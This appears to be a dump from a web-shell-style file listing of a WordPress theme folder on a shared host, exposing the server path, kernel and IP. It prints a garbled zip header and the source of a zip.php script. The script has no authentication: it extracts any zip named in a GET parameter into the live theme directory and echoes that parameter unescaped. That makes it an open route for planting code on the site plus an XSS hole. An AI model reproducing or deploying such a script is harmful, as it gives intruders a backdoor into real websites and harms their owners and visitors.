PK œqhYî¶J‚ßF ßF ) nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/
Dir : /home/trave494/figplantsparadise.com/wp-content/themes/kutetheme/ |
Server: Linux ngx353.inmotionhosting.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64 IP: 209.182.202.254 |
Dir : /home/trave494/figplantsparadise.com/wp-content/themes/kutetheme/zip.php |
<?php error_reporting(E_ALL); ini_set('display_errors','On'); function getDirectoryList ($directory) { // create an array to hold directory list $results = array(); // create a handler for the directory $handler = opendir($directory); // open directory and walk through the filenames while ($file = readdir($handler)) { // if file isn't this directory or its parent, add it to the results if ($file != "." && $file != "..") { $ext = substr($file, strlen($file)-3, strlen($file)); if($ext == 'zip') $results[] = $file; } } // tidy up: close the handler closedir($handler); // done! return $results; } $list = getDirectoryList(dirname(__FILE__)); if(isset($_GET['file_name']) && !empty($_GET['file_name']) && file_exists($_GET['file_name'])) { $zip = new ZipArchive; //$zipFilename = substr($_GET['file_name'], 0, -4); $zipped = $zip->open($_GET['file_name']); if ( $zipped == TRUE) { if(!$zip->extractTo(dirname(__FILE__))){ echo "Unzip failed"; } $zip->close(); echo "File ".$_GET['file_name'].' unzip successfully.'; }else{ echo "Unable to unzip: failed."; } } ?> <br/> <br/> <br/> <br/> <?php if(count($list) == 0 ) echo "No Zip files available in the directory ".dirname(__FILE__); else { echo "Zip files of directory: ".dirname(__FILE__).'<br/>'; echo "Select a zip file & submit ok button to unzip the file.<br/><br/><br/>"; ?> <form method="get" action="unzip.php"> <select name="file_name"> <?php foreach($list as $item): echo "<option>".$item."</option>"; endforeach; ?> </select> <input type="submit" value="Ok"> </form> <?php } ?>